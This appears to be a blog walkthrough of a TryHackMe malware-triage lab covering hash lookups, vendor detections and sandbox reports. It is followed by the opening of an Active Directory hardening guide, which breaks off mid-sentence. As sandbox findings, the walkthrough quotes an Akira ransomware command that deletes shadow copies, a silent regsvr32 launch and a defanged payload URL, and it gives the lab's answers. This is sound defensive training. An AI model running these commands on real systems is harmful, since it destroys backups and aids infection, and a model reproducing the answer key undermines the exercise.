Threat Intelligence</a></li></ul><h3>Scenario</h3><p>It is a Monday in April. <strong>Try Daily</strong> is preparing a significant release. The EDR tool flags multiple binaries on various workstations during a routine alert sweep. You, the L1 analyst (shadowing your L2 mentor), receive a curated triage package containing those samples. Within <strong>60 minutes,</strong> you must provide evidence to showcase whether these files are <em>bait, benign, or malicious.</em></p><h3>Lab Access</h3><p>Before proceeding, start the lab by clicking the <strong>Start Machine</strong> button below. The VM will open in split view and take about 2 minutes to load fully. If it is not visible, click the <strong>Show Split View</strong> button at the top of the page.<br>Once the VM loads, you will find:</p><ul><li><strong>Case files</strong> on the Desktop, ready for analysis.</li><li><strong>TryDetectThis</strong> — accessible via the Desktop shortcut or by navigating to http://TryDetectThis.thm:8080 in the browser. Use this platform to search for hashes, review vendor detections, inspect file properties, and analyse sandbox behaviour.</li><li><strong>Note:</strong> Due to the changing nature of threat intelligence, we have included all necessary data in our offline Threat Intel tool TryDetectThis. Please only use the TryDetectThis tool to solve the various questions in the tasks ahead.</li></ul><p>Answer the questions below</p><blockquote>No answer needed</blockquote><h3>Task 2 : file names and paths</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*M23hgJoGwpI7TPqrTDUEiQ.png" /></figure><p>You might encounter a suspicious file, such as Setup.exe, and must get as much context about it as possible. Human-readable strings, such as filepaths, are the earliest heuristics available to an analyst. When alone, they do not prove maliciousness but can reveal attacker tradecraft patterns when viewed with scepticism.</p><h3>Filepath Analysis</h3><p>File paths and names are like crime scene clues, revealing attacker behaviour. Attackers may use different disk locations to hide their actions and reduce visibility. For example:</p><ul><li>C:\ (System drive) can be a common target for persistence mechanisms.</li><li>C:\Users\Public profile can enable cross-user access of detonated adversary tools.</li><li>C:\Users\Public\Public Downloads provides a high-traffic directory that would often evade strict monitoring.</li></ul><p>Additionally, adversaries may utilise other malware staging patterns such as:</p><ul><li>Utilising temporary directories such as C:\Windows\Temp\ for ephemeral payloads.</li><li>Placing payloads in writable system paths, such as C:\ProgramData\ for stealth persistence.</li></ul><h3>Filename Heuristic Indicators</h3><p>Attackers are also known to modify filenames to escape detection through implementing various types of heuristic indicators, including:</p><ul><li>Double extensions — An example is invoice.pdf.exe, which leverages Windows&#39; default settings that hide file extensions.</li><li>System binary impersonation — A filename such as scvhost.exe abuses the user&#39;s familiarity with core system processes. Defenders should include legitimate locations for system processes in an allowlist, rather than standalone filenames.</li><li>High-entropy Strings — A filename such as jh8F21.exe suggests automated packing or polymorphic generation, which is commonly used in a high-churn phishing operation.</li><li>Masquerading — Filenames such as backup-2300.exe can blend with routine files, thus leveraging on reduced suspicion. Another example is a single character substitution, which can bypass detection while looking visually legitimate to an unsuspecting employee.</li></ul><p>SOC analysts should become aware of these heuristic techniques and always flag and investigate alerts with these characteristics.</p><h4>Answer the questions below</h4><p>1-One of the files included in the CTI Files folder on the Desktop shows one of the indicators mentioned. Can you identify the file and the indicator? (Answer: file, property)</p><p>open lab access and open folder CTI files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZavVVhkkhFxQbMSO7EtZrA.png" /><figcaption>CTI files folder</figcaption></figure><p>we can notice here payroll.pdf , but the icon is for exe file not PDF</p><p>we can view the file extension</p><p>View=&gt;file name extensions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ypUMSdg5U9Zt89pYeykEEw.jpeg" /></figure><p>notice there payroll.pdf.exe double extension file</p><blockquote>answer : payroll.pdf, Double extensions</blockquote><h3>Task 3 : File Hash lookup</h3><p>We’ve identified suspicious heuristics from the sample files through path and name analysis. The analysis is inconclusive because attackers constantly rename files. We can tie the names back to the same binary through cryptographic fingerprinting through its file hash, especially SHA256 and MD5 hashes. File hashes uniquely identify files and malware, regardless of name changes. Attackers constantly rename their malware; hashes provide an immutable, actionable way to identify it.</p><p>It is advisable to work with potentially malicious binaries in a separate, isolated environment.</p><p>We can generate and verify our file hash using the following commands:</p><p>windows=&gt;</p><pre>Command prompt: certutil -hashfile bl0gger.exe SHA256</pre><pre>PowerShell: Get-Filehash -Algorithm SHA256 bl0gger.exe</pre><p>Linux =&gt;</p><pre>ubuntu@tryhackme$ sha256sum bl0gger.exe</pre><p>A few pointers as analysts when dealing with hashes:</p><ul><li>Store the hashes in lowercase to avoid needless differences.</li><li>Hash what matters in your investigation. For example, if the malware resides in a ZIP file, hash both the archive and the extracted binary.</li><li>Do not leave plain strings without the context of where and when you encountered them.</li><li>Any byte change will change the resulting hash.</li></ul><h3>Analysis With VirusTotal</h3><p>n a production SOC, your next step would be to search for the hash on <a href="https://www.virustotal.com/">VirusTotal. (opens in new tab)</a>It is a widely used threat intelligence service that aggregates scan results from dozens of antivirus vendors into a single report.</p><p>There are several items from the search results that would be worth taking note of when you submit a hash:</p><ul><li><strong>Detection score</strong>: This represents a crowdsourced security verdict from various vendors displayed as a ratio. The higher the number, the higher the confidence threat.</li><li><strong>Threat labels and categories</strong>: These are vendor-specific classifications of threats that help confirm their attribution across vendors.</li><li><strong>Detection rules</strong>: These are the technical signatures used by AV engines to identify threats. Typical classifications are YARA rules, Heuristic patterns, and behavioural triggers.</li><li><strong>Properties</strong>: This is where the core metadata for the file is stored, including the file type, size, and compilation timestamp.</li><li><strong>Contained domains and IPs</strong>: This information covers the malware’s network infrastructure.</li><li><strong>Contained files</strong>: This section details any files embedded or dropped during the malware’s execution.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZTGWJyPex0vcFEpoM3CUQ.png" /><figcaption>virus total</figcaption></figure><p>We can break down the process above into granular steps that ensure VirusTotal becomes a tactical threat intelligence platform for the SOC to pivot towards actionable defence measures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yFK5fh6I_tQ55OVG572zew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UO4f5hTxr13U5eIHNm1ETw.png" /></figure><h3>Cross-Reference With MalwareBazaar</h3><p><a href="https://bazaar.abuse.ch/">MalwareBazaar(opens in new tab)</a> is an all-in-one database for malware collection and analysis. The project supports the following features:</p><ul><li><strong>Malware Samples Upload:</strong> Security analysts can upload their malware samples for analysis and build the intelligence database. This can be done through the browser or an API.</li><li><strong>Malware Hunting:</strong> Hunting for malware samples is possible through various elements, such as :</li><li><strong>Malware Family tagging:</strong> You will find files classified by their malware families. An example of this is a file with only 5/70 detections on VirusTotal but tagged as #IcedID in MalwareBazaar; it should be treated as malicious.</li><li><strong>YARA rule integration:</strong> Many submissions will include rules that detect related samples. As an analyst, you should take note of these rules to be added to the EDR/SIEM for future hunting.</li><li><strong>Campaign attribution:</strong> Tags such as #TA551, which belong to a threat actor group, help link observed incidents to known adversaries. This can help identify coordinated attacks against an environment.</li><li><strong>Sample Availability:</strong> Malware samples are available for download and analysis. Reanalysing samples in a sandbox is best practice, which we shall cover in the next task</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*zBhHz4ZyaEhylgqGfwbThQ.gif" /></figure><p>In a production environment, you would search MalwareBazaar using the syntax is sha256:&lt;file_hash&gt;. For our case, TryDetectThis has integrated the vendor intelligence from VirusTotal and MalwareBazaar.</p><p>Answer the questions below</p><p>1-What is the SHA256 hash of the file bl0gger?</p><p>open powershell in CTI folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CRaaVkQHBLlc-JQ-fkvbEQ.png" /><figcaption>type here powershell to open it</figcaption></figure><p>write the command :</p><pre>Get-FileHash .\bl0gger.exe -Algorithm sha256</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NpKQor-0rkePdHnrtOW-5w.png" /><figcaption>sha-256 of bl0gger</figcaption></figure><blockquote>answer : 2672b6688d7b32a90f9153d2ff607d6801e6cbde61f509ed36d0450745998d58</blockquote><p>2-What is the threat classification label used to identify the malicious file?</p><p>open try detect me on desktop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*mL8Y2pbBxDJxhyteJUflZA.png" /><figcaption>try detect me platform</figcaption></figure><p>and type the hash we calculated from previous question “2672b6688d7b32a90f9153d2ff607d6801e6cbde61f509ed36d0450745998d58”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWNg2JU6Yhne6ubokZcVNw.png" /></figure><p>results :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B3AoCoNIQXtvbVXdVU9G1w.png" /><figcaption>classification of bl0gger</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*16I6g5ee932cML8jG24KKw.png" /></figure><blockquote>answer : trojan.graftor/flystudio</blockquote><p>3-When was the file first submitted for analysis? (Answer format: YYYY-MM-DD HH:MM:SS)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3fdw6UX9CGYGUXmJnndTdQ.png" /><figcaption>submitted day</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*iSUcYpDg6cveoH9eH3cySQ.png" /></figure><blockquote>answer : 2025–05–15 12:03:49</blockquote><p>4-Which vendor classified the Morse-Code-Analyzer file as non-malicious?</p><p>first , back to powershell and calculate sha-256 of the file Morse-Code-Analyzer</p><p>command :</p><pre>Get-FileHash .\Morse-Code-Analyzer.exe  -Algorithm sha256</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JpfP248scwl88P0rpHNqNw.png" /><figcaption>sha-256 of Morse-Code-Analyzer</figcaption></figure><p>hash value : 1F8806869616C18CBAE9FFCF581C0428915D32FB70119DF16D08078D92D1A5E3</p><p>and go to trydetectthis again , and type the hash value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xqjosGaJmlPMA-asEG-AA.png" /><figcaption>Morse-Code-Analyzer results</figcaption></figure><p>go to vendor analysis =&gt;MalwareBazaar intelligence</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yjh8v29bpJRI0XDRLpD0Tg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*6VSH5V03IcDN2cLQab5WUg.png" /></figure><blockquote>answer : CyberFortress</blockquote><p>5-What MITRE technique has been flagged for persistence and privilege escalation for the Morse-Code-Analyzer file?</p><p>go to behavioral analysis =&gt;technique mapping</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JWbXLaEgSBlvmigM4gQTcQ.jpeg" /></figure><blockquote>answer : DLL Side-Loading</blockquote><h3>Task 4 : Sandbox Analysis</h3><h3>Dynamic Analysis for SOC</h3><p>Static properties such as hashes, strings, and sections tell you identity. To understand the impact of malicious files, you need to execute them safely in a controlled environment. Sandboxes provide a disposable VM instrumented to capture every process, registry write, and network packet associated with the malware being investigated.</p><p>Security analysts will use sandboxes to do three things:</p><ul><li>Confirm execution — if nothing happens, your alert might be a decoy.</li><li>Extract runtime IOCs — domains, mutexes, dropped payloads, feed hunts and detections.</li><li>Map to ATT&amp;CK — most sandboxes auto‑label behaviour with technique IDs, fast‑tracking your report.</li></ul><p>As an L1 analyst, you would use the sandboxes’ lookup features to quickly identify information about an obtained hash, while senior analysts would perform the other sophisticated tasks.</p><h3>Sandboxing Tools</h3><p>The most widely used tools for detonating wild malware are <a href="https://hybrid-analysis.com/"><strong>Hybrid Analysis</strong>(opens in new tab)</a> and <a href="https://www.joesandbox.com/"><strong>Joe Sandbox</strong>(opens in new tab)</a>, each with its distinct application:</p><ul><li>Hybrid Analysis (HA) focuses on behaviour trees and a clean MITRE ATT&amp;CK heatmap. It is suitable for a fast executive summary.</li><li>Joe Sandbox (JS): goes deep, covering system calls, strings, and memory dumps. Great for reverse engineers and detection engineers.</li></ul><h3>Analysing Hybrid Analysis Report</h3><p>When we search using the file hash and analyse the <a href="https://hybrid-analysis.com/sample/2672b6688d7b32a90f9153d2ff607d6801e6cbde61f509ed36d0450745998d58/6825deb248f758f5bc01fcd4">generated report(opens in new tab)</a> from Hybrid Analysis, we can confirm that the file is malicious, with a threat score of 100/100. Additionally, TryDetectThis has all the details ingested for the remainder of the room.</p><p>We are also provided with information about the file’s risk behaviour and the ATT&amp;CK Techniques the threat actor observed using.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jOZTkKUfRatsA4eqxv9bBQ.png" /></figure><p>Additionally, we can gather all file details and information to inform our threat intelligence report. These details are vital for threat reporting, both internally and externally, including file compositions, imports, processes called, and network connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YQN-GxkPYVBAHOz6LRn4DA.png" /></figure><h3>Sandboxing Limitations</h3><p>While sandboxing is a powerful tool for malware analysis, it has critical limitations that SOC analysts must account for when performing threat intelligence. Unquestioningly trusting sandbox results can lead to false negatives, missed detections, or incorrect conclusions.</p><p>These limitations include, but are not limited to, the following:</p><ol><li><strong>Sandbox Evasion Techniques</strong></li></ol><p>Threat actors would design their payloads to detect and evade sandboxes, leading to false negatives. Some of the common evasion tactics used include:</p><ul><li>Environment Awareness Checks: Malware checks for signs of virtualised/sandboxed environments</li><li>Anti-Debugging &amp; Anti-Sandboxing Tricks: Malware conducts debugger detection and checks for unique hardware IDs.</li></ul><p><strong>2.Limited Execution Time &amp; Coverage</strong></p><p>Most sandboxes terminate analysis after 2–5 minutes, which means multi-stage malware may not fully execute. Additionally, time-delayed attacks will evade detection. As previously covered, this would mean cross-referencing other threat intelligence resources.</p><p><strong>3.Encrypted &amp; Obfuscated Traffic</strong></p><p>Many sandboxes cannot decrypt SSL/TLS traffic, leading to blind spots. This may result in HTTPS C2 Traffic appearing with no payload visibility or the malware utilising DNS tunnelling to hide data in DNS queries.</p><p><strong>4.Fileless &amp; Living-off-the-Land (LotL) Malware</strong></p><p>Some threats never touch disk, bypassing traditional sandbox analysis by employing PowerShell Attacks and WMI Persistence.</p><p>Now it is your turn. Use the TryDetectThis tool to answer the questions below.</p><p>Answer the questions below</p><p>1-What tags are used to identify the bl0gger.exe malicious file on Hybrid Analysis? (Answer: Tag1, Tag2, Tag3)</p><p>write the hash value of bl0gger.exe “2672b6688d7b32a90f9153d2ff607d6801e6cbde61f509ed36d0450745998d58” in trydetectthis and check</p><p>go the sandbox analysis =&gt;classification tage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EXPyLDeUoiZ1A1KCmOf_rg.png" /></figure><blockquote>answer : BlackMoon, Discovery, windows-server-utility</blockquote><p>2-What was the stealth command line executed from the file?</p><p>go the sandbox analysis =&gt;process tree</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*oNqEZl08IDGWOHmH0mRckQ.png" /></figure><blockquote>answer : regsvr32 %WINDIR%\Media\ActiveX.ocx /s</blockquote><p>3-Which other process was spawned according to the process tree?</p><p>go the sandbox analysis =&gt;process tree</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EjZpj9qlwXUwVdxqrXIKLQ.png" /></figure><blockquote>answer : werfault.exe</blockquote><p>4-Analyze the payroll.pdf file located in the CTI Files folder and answer the questions below. The payroll.pdf application seems to be masquerading as which known Windows file?</p><p>go back to powershell and calculate payroll.pdf hash</p><p>command :</p><pre>Get-FileHash .\payroll.pdf.exe  -Algorithm sha256</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lcVV4cwxBjKgJattrvX7wQ.png" /><figcaption>sha-256 value of payroll.pdf | D202ED020ED8E36BD8A0F5B571A19D386C12ABECB2A28C989D50BBF92C78F54E</figcaption></figure><p>and type this hash value on trydetectthis again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n9WHiPv_DtPWOR3syZCTOg.png" /><figcaption>payroll.pdf analysis on trydetectthis</figcaption></figure><p>go to sandbox analysis =&gt;impersonation behavior</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Y13UUra0cawP6W7RWoW0g.png" /></figure><blockquote>answer : svchost.dll</blockquote><p>5-What associated URL is linked to the file?</p><p>go to sandbox analysis =&gt;network indicator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BEzcHDvyD8F3llU1o6gFPQ.png" /></figure><blockquote>answer : hxxp://121.182.174.27:3000/server.exe</blockquote><p>6-How many extracted strings were identified from the sandbox analysis of the file?</p><p>go to sandbox analysis =&gt;extracted strings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nXl21JduZOP970RApBhYzA.png" /><figcaption>454</figcaption></figure><blockquote>answer : 454</blockquote><h3>Task 5 : Threat Analysis Challenge</h3><h3>Practice</h3><p>Now that we have looked at gathering threat intelligence through looking at file attributes, you will now have the opportunity to investigate a suspected file <strong>Challenge.bin.sample</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hk04CWFzrZ2oDxc1krewiA.png" /></figure><p>Answer the questions below</p><p>1-What is the SHA256 hash of the file?</p><p>go to powershell and calculate sha256 value of the file</p><p>command :</p><pre>Get-FileHash .\Challenge.bin.sample -Algorithm sha25</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJlTw7gVPkiHH79bxboU0A.png" /><figcaption>sha-256 of <strong>Challenge.bin.sample</strong></figcaption></figure><blockquote>answer : 43b0ac119ff957bb209d86ec206ea1ec3c51dd87bebf7b4a649c7e6c7f3756e7</blockquote><p>2-What family labels are assigned to the file on VirusTotal?</p><p>go to <a href="https://www.virustotal.com/">virus total </a>and type the calculated hash value of previous question</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIiB2gyDk13rxmjXUGNC5w.png" /><figcaption>virus total results</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhzCW2B7RuXd7fECaldmNg.png" /><figcaption>family labels</figcaption></figure><blockquote>answer : akira, filecryptor</blockquote><p>3-When was the first time the file was recorded in the wild? (Answer Format: YYYY-MM-DD HH:MM:SS UTC)</p><p>go to details tap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*kNAjoQfrlnP4OOgdid76pg.png" /></figure><blockquote>answer : 2024–10–30 17:17:24 UTC</blockquote><p>4-Name the text file dropped during the execution of the malicious file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*cgCnHRl4woM-SHtuZxz6DA.png" /></figure><blockquote>answer : akira_readme.txt</blockquote><p>5-What PowerShell command is observed to be executed?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*fbCHpBj4FDmSJIYaf0g8xA.png" /></figure><blockquote>answer : Get-WmiObject Win32_Shadowcopy | Remove-WmiObject</blockquote><p>6-What MITRE ATT&amp;CK ID is associated with the actions of the command?</p><blockquote>answer : T1490</blockquote><h3>Task 6 : conclusion</h3><p>ongratulations on completing the room! Threat intelligence is integral to an SOC workflow that enriches unknown binaries encountered by threat alerts.</p><h3>Key Takeaways</h3><ul><li>Validate evidence before analysis: confirm you have the exact binaries and hashes.</li><li>Analyse filepaths and filenames for quick context: Unusual storage locations, trusted software directories, and naming tricks highlight items that warrant deeper review.</li><li>Generate hashes early to pivot into external or internal knowledge bases.</li><li>Observe runtime behaviour in a controlled environment to confirm intent, extract network and persistence indicators, and map activity to recognised attack techniques.</li><li>Translate findings into a brief that lists indicators by type, summarises behaviour and provides proportionate recommendations supported by evidence.</li></ul><p>the end , Thanks 3&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11a0583726f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hardening Active Directory : A Practical Guide to Securing Enterprise Environments]]></title>
            <link>https://medium.com/@midoagamy712364/hardening-active-directory-a-practical-guide-to-securing-enterprise-environments-86dc8fef4637?source=rss-31193ae61f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/86dc8fef4637</guid>
            <category><![CDATA[windows-server]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Master_Azema]]></dc:creator>
            <pubDate>Fri, 20 Nov 2026 17:25:43 GMT</pubDate>
            <atom:updated>2026-11-20T17:25:43.675Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QjfSQ2FhfaWRJrM6jdPhhA.png" /></figure><h3><strong>Introduction</strong></h3><h3>Active Directory Hardening: Securing the Backbone of Enterprise Networks</h3><p><strong>Active Directory (AD)</strong> is one of the most critical components of modern enterprise environments. It serves as the centralized identity and access management system, enabling organizations to manage users, computers, groups, authentication, and access to resources across their networks.</p><p>However, its central role also makes it a high-value target for attackers. A single misconfiguration, weak authentication mechanism, excessive privilege, or improperly configured Group Policy can provide attackers with an initial foothold and potentially allow them to escalate privileges, move laterally, and ultimately gain control over the entire domain.</p><p>Attack techniques such as <em>Kerberoasting</em>, <em>AS-REP Roasting</em>, <em>Pass-the-Hash</em>, <em>DCSync</em>, and abuse of<em> delegation</em> or <em>misconfigured ACL</em>s demonstrate how weaknesses in Active Directory can be exploited to compromise an entire organization.</p><p><strong>Active Directory Hardening</strong> is therefore not just about applying security patches or changing default settings. It is a continuous security process that focuses on reducing the attack surface, enforcing least privilege, strengthening authentication, securing privileged accounts, monitoring suspicious activities, and implementing effective security controls.</p><p>“Hardening” means closing vulnerabilities and strengthening defenses within Active Directory, ensuring that known attack techniques — such as Password Spraying, Kerberoasting, or Poisoning (which were covered earlier in the module) — either fail entirely or fail to provide the attacker with any useful information.</p><p>Whether working as penetration testers or Blue Team professionals, our responsibility extends beyond identifying vulnerabilities or detecting malicious activities. We must also understand how to strengthen the environment, reduce its attack surface, and help organizations build effective defensive controls.</p><p>In this article, we will explore practical Active Directory hardening techniques from a defensive security perspective, understand the risks behind common misconfigurations, and discuss the security controls that organizations can implement to strengthen their Active Directory infrastructure against common attack techniques.</p><h3><strong>Step 1 : Documentation and Auditing</strong></h3><p>first , you have to know everything about your Environment ;</p><p>You cannot secure something if you don’t know it exists. This review should be conducted at least once a year — ideally, every few months (3-months)</p><h4><strong>what do you need to Document and track =&gt;</strong></h4><p>1-Naming conventions of OUs, computers, users, groups</p><p>If there’s a clear naming convention, anything anomalous stands out quickly. For example, if all your servers are named something like :</p><p>SRV-SQL-01 and you suddenly come across a machine named “kali-linux,” you’d immediately grow suspicious of it.</p><p>2-DNS, network, and DHCP configurations</p><p>need to know what is DNS , DHCP and Network configurations , to know what is the baseline of your Network Environment</p><p>3-ALL Application inventory</p><p>what is current installed application , maybe a legacy software&#39;s and Applications have CVEs</p><p>4- Any trust relationships with any Domain or outside the enterprise</p><p>Regularly review all existing trust relationships to identify unnecessary or overly permissive trusts.</p><p>review :</p><blockquote>Trust Direction : One-way / Two-way</blockquote><blockquote>Transitivity: Transitive / Non-transitive</blockquote><blockquote>Forest Trusts</blockquote><blockquote>External Trusts</blockquote><blockquote>SID Filtering</blockquote><p>and ask yourself :</p><ul><li>Are the permissions appropriately restricted?</li><li>Is this trust still required</li><li>Is SID Filtering configured where applicable ?</li></ul><p>5-all GPOs and the objects that they are applied to</p><p>one of most important things to do is review and audit the Group policies ,</p><p>misconfigurations of GPOs not detected by tools or CVEs</p><p>check every DACL rules and policies</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*59z41IJKGmlTtNMaXIBzMg.png" /></figure><p>6-A list of all enterprise hosts and their location</p><p>to know where is each host and server , and is this server or host working or not</p><ul><li>IP Address.</li><li>Operating System.</li><li>OS Version.</li><li>Host Role.</li><li>Physical / Virtual Location.</li><li>Domain Membership.</li><li>Owner / Responsible Team.</li><li>Last Seen / Last Logon</li></ul><p>7-Assignment of FSMO role</p><p>FSMO roles handle specific Active Directory operations that require a single authoritative owner, rather than being processed through the normal multi-master replication model.</p><h3><strong>Step 2 : </strong>People, Processes, and Technology</h3><p>AD hardening can be broken out into the categories <em>People</em>, <em>Process,</em> and <em>Technology</em>. These hardening measures will encompass the hardware, software, and human aspects of any network.</p><h3>2.1 <strong>People — Securing Identities and Privileged Access</strong></h3><p>Even in the most robust environment, the user is the weakest link. By securing the human element, you take away the “easy wins” from a pentester or an actual attacker. Furthermore, you must educate users about the risks.</p><p>1-Use Strong Passwords</p><p>The problem: Users choose predictable passwords, such as “Welcome2024!”, “Summer2024”, or “CompanyName123”.</p><p>The solution: Implement a strong password policy combined with a “password filter” that blocks common terms — such as “welcome,” “password,” names of months, days, or seasons, and the company’s own name.</p><p>Example: An attacker might attempt a “password spraying” attack, using a single password — like “Winter2024!” — across hundreds of user accounts. If the password filter blocks the names of seasons, no user will be able to set that password, and the attack will fail.</p><p>Additionally, if possible, use an enterprise password manager so that users do not have to memorize complex passwords — preventing them from resorting to writing them down on sticky notes.</p><p>2-Rotate Passwords for All Service Accounts</p><p>Service accounts — such as those used to run SQL Server — often have passwords that were set years ago and never changed. If an attacker performs a “Kerberoasting” attack and manages to crack the password, they could potentially maintain access for years without anyone noticing.</p><p>3-Disallow local administrator access on user workstations not needed</p><p>A standard user should not have Local Administrator privileges on their machine unless there is a clear, work-related reason.</p><p>Why? If a user is a Local Administrator and accidentally downloads malware, that malware will run with administrative privileges. It could then extract credentials from memory — using tools like Mimikatz, for example — and move laterally to other machines.</p><p>4-Disable the default RID-500 local admin account and create a new admin account for administration subject to LAPS password rotation.</p><p>The built-in Administrator account, identified by its well-known Relative Identifier (RID) of 500, exists by default on every Windows computer. Since its SID is predictable and its existence is well known, it represents an attractive target for attackers attempting to gain administrative access.</p><p>Example without LAPS: All 500 company machines share the same local administrator password. An attacker can extract the hash from a single machine and use a “Pass-the-Hash” attack to compromise the remaining 499 — a scenario that occurs all too frequently.<br>Example with LAPS: Each machine has a unique password; therefore, a hash extracted from one machine will not work on any of the others.</p><p><strong>The Recommendation:</strong></p><ul><li>Disable the built-in RID-500 Administrator account where operationally feasible.</li><li>Create a separate local administrative account with a unique, non-default username.</li><li>Use <strong>Windows Local Administrator Password Solution (Windows LAPS)</strong> to automatically manage and rotate the password of the new local administrator account</li></ul><p>LAPS (local admin password policy ) -&gt;</p><p>is a built-in Windows feature that automatically manages local administrator account passwords</p><p>Its main security benefits include:</p><ul><li><strong>Unique Passwords:</strong> Each managed computer receives a different local administrator password.</li><li><strong>Automatic Rotation:</strong> Passwords are changed automatically according to the configured expiration policy.</li><li><strong>Secure Storage:</strong> Passwords are stored in Active Directory or Microsoft Entra ID, depending on the deployment configuration.</li><li><strong>Access Control:</strong> Only authorized administrators can retrieve the managed passwords.</li></ul><p>This significantly reduces the risk of lateral movement through shared local administrator credentials.</p><p><strong>Important:</strong> LAPS does not completely prevent Pass-the-Hash attacks. Instead, it limits their impact by ensuring that a compromised local administrator credential cannot be reused across other managed machines</p><p>5-Clean up privileged groups. Does the organization need 100+ Domain/Enterprise Admins?</p><p>Generally, no. Every additional user in a sensitive group expands the attack surface. Restrict membership only to those who truly need it for their daily work.</p><p>Restrict group membership in highly privileged groups to only those users who require this access to perform their day-to-day system administrator duties.</p><p>For example, consider a former IT manager who moved to a different department two years ago but still holds “Domain Admin” privileges. That account becomes an easy target, especially since no one is monitoring it.</p><p>6-Implement split tiers of administration for administrative users</p><p>This is one of the most critical points. The core idea is that an administrator should not use a single account for everything.</p><p>A common issue is that a Domain Admin might use their Domain Admin account to check email, browse the web, or perform daily tasks on their regular workstation. If an attacker compromises that machine — for instance, through a phishing attack — they can extract the Domain Admin credentials from the system’s memory, effectively gaining control over the entire domain.</p><p>The solution is a tiered model:</p><p><strong><em>Tier 0: </em></strong>Domain Controllers and Domain Admins (the most sensitive/high-risk).<br><strong><em>Tier 1</em></strong>: Servers and applications.<br><strong><em>Tier 2:</em></strong> Standard user workstations.</p><p>Administrators should have multiple accounts: one for routine tasks like email and daily work, and separate accounts for administrative duties. Crucially, a Tier 0 account should never be used to log in to a Tier 2 device.</p><p>7-place accounts in the Protected Users group</p><p>The <a href="https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group">Protected Users group</a> first appeared with Window Server 2012 R2. This group can be used to restrict what members of this privileged group can do in a domain. Adding users to Protected Users prevents user credentials from being abused if left in memory on a host.</p><p>viewing protected user group :</p><pre>PS C:\Users\htb-student&gt; Get-ADGroup -Identity &quot;Protected Users&quot; -Properties Name,Description,Members</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*46q_yz02dBlqwhXHqnIbAg.png" /></figure><p>The protections itsprovides to his members:</p><ul><li>Delegation (neither constrained nor unconstrained) is not permitted. This prevents delegation-based attacks.</li><li>CredSSP : will not store plaintext passwords in memory, even if Allow delegating default credentials is set within Group Policy.</li><li>Windows Digest: will not cache the user’s plaintext password, even if Windows Digest is enabled.</li><li>NTLM, DES, and RC4 are prohibited; only Kerberos with stronger encryption (AES) is allowed.</li><li>Once a Ticket Granting Ticket (TGT) is obtained, long-term keys and plaintext credentials are not stored.</li><li>The TGT cannot be renewed beyond 4 hours (its original Time-to-Live, or TTL); after this period, the user must sign in again.</li></ul><p>⚠️ Important : The Protected Users group can cause unforeseen issues with authentication, which can easily result in account lockouts. An organization should never place all privileged users in this group without staged testing.</p><p>Example: If a legacy application still relies on NTLM, and an administrator who uses it is added to the “Protected Users” group, the application will cease to function for that user. This is why staged testing is essential.</p><p>8-Disable Kerberos delegation for administrative accounts (the Protected Users group may not do this)</p><h3><strong>2.2 process — </strong>Operations and Policies</h3><p>Maintaining and enforcing policies and procedures that can significantly impact an organization’s overall security posture is necessary. Without defined policies, it is impossible to hold an organization’s employees accountable, and difficult to respond to an incident without defined and practiced procedures such as a disaster recovery plan. The items below can help to define processes, policies, and procedures.</p><p>Without written policies and procedures, there is no accountability, and no clear plan at the time of the 